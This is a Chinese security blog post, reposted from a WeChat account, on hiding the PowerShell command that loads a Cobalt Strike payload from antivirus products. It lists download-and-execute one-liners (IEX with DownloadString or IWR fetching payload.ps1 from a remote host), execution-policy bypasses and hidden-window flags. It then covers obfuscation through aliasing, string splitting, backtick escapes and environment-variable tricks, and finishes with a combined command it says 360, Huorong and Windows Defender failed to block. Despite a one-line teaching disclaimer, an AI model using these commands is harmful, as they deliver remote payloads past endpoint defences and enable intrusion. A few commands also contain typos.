CS免杀-PowerShell加载命令免杀

  • A+
所属分类:安全文章
CS免杀-PowerShell加载命令免杀
一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚


PS上线命令


结合上文的加载器《CS免杀-PowerShell上线》,有大佬说加载的一句话过不了360等的行为查杀

powershell -nop -w 1 -c "IEX(new-object net.webclient).downloadstring('http://192.168.1.1/test.ps1')"

现在针对这一句话进行免杀,绕过AV的行为限制



载web脚本


绕过静态查杀,编码未必是做有效的方法,所以出现了脚本放在网站上远程加载

PS需要两个函数Invoke-ExpressionInvoke-WebRequest


Invoke-WebRequest

缩写IWR,用来访问网页的内容,默认使用IE引擎

-UseBasicParsing参数不分析结果,只是返回内容

IWR -UseBasicParsing http://192.168.1.1/123.txt


Invoke-Expression

缩写IEX,该函数执行传递给他的代码

powershell -com IEX(New-Object Net.WebClient).DownloadString('http:192.168.1.1/123.txt')powershell -com IEX(iwr -UseBasicParsing http://192.168.10.1/123.txt)

内网可以用通用命名约定UNC

powershell -com IEX(iwr -UseBasicParsing \192.168.10.1C1.ps1)



绕过策略限制


本地执行一个ps脚本, 由于默认策略的缘故,通常会报禁用脚本运行

powershell ./test.ps1

CS免杀-PowerShell加载命令免杀


1.更改脚本权限

powershell -command  Get-ExecutionPolicy

restricted:只能运行系统的ps命令
ALLSigned:带有可信发布者签名的脚步都可以运行
RemoteSigned:带有可发布者签名的一已下载脚本可运行
Unrestricted:不受限制

powershell -com Set-ExecutionPolicy Unrestricted


2.本地权限绕过

PowerShell -ExecutionPolicy Bypass -File xxx.ps1

本地隐藏权限绕过

PowerShell -ExecutionPolicy Bypass -NoP -W Hidden -File 123.ps1

-noprofile简写 -nop, 为不加载 windows poweshell 配置文件

-WindowStyle hidden简写 -w 1,窗口为隐藏模式(powershell执行该命令后直接隐藏命令行窗口)


3.IEX远程加载

powershell IEX(New-Object Net.WebClient).DownloadString('http://192.168.10.1/123.txt)powershell IEX(iwr -UseBasicParsing http://192.168.10.1/123.txt)powershell IEX(New-Object Net.WebClient).DownloadString('c:132.txt')


4.标准输入读取命令

powershell的-com命令有个参数-

CS免杀-PowerShell加载命令免杀

所以可以通过管道符输入命令

echo Invoke-Expression(new-object net.webclient).downloadstring('http://xxx.xxx.xxx/a') | powershell -type 123.txt | powershell -

特征免杀



1.win10环境变量截取出powershell

%psmodulepath:~24,10%

CS免杀-PowerShell加载命令免杀


2.新建函数别名

IEX或IWR等函数是可以重命名的

set-alias -name hhh -value IEX

powershell set-alias -name hhh -value IEX;hhh(New-Object Net.WebClient).DownloadString('http://192.168.1.1/123.txt')

CS免杀-PowerShell加载命令免杀


3.拆分成变量

powershell "$b='((new-object net.webclient).downlo)';$a='(adstring(http://192.168.1.1/payload.ps1))';IEX ($b+$a)"

字符串以单引号分割

'ht'+'tP://19’+'2.168.1.1'+'2/payload.ps1'


4.使用反引号处理字符

 PowerShell团队使用反引号作为转义字符 (就离谱)

`'  单引号    `"  双引号`0  空值      `a  警报`b  退格      `f  换页`n  新行      `r  回车`t  水平制表  `v  垂直制表

powershell中双引号内字符可以进行转义,当反引号后面不是上面几个字符则不转义

CS免杀-PowerShell加载命令免杀

上面截图感受一下,然后就对downloadstring等几个字符处理一下

"Down`l`oadString""down`load`data""web`client"

CS免杀-PowerShell加载命令免杀



看我一套军体拳


360、火绒、win10自带都没拦截,卡巴没测试

echo set-alias -name hhh -value IEX;hhh(New-Object "NeT.WebC`li`ent")."Down`l`oadStr`ing"('ht'+'tP://19’+'2.168.1.1'+'2/payload.ps1') | %psmodulepath:~24,10% -

CS免杀-PowerShell加载命令免杀

成功执行,不拦截行为

本文始发于微信公众号(XG小刚):CS免杀-PowerShell加载命令免杀

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: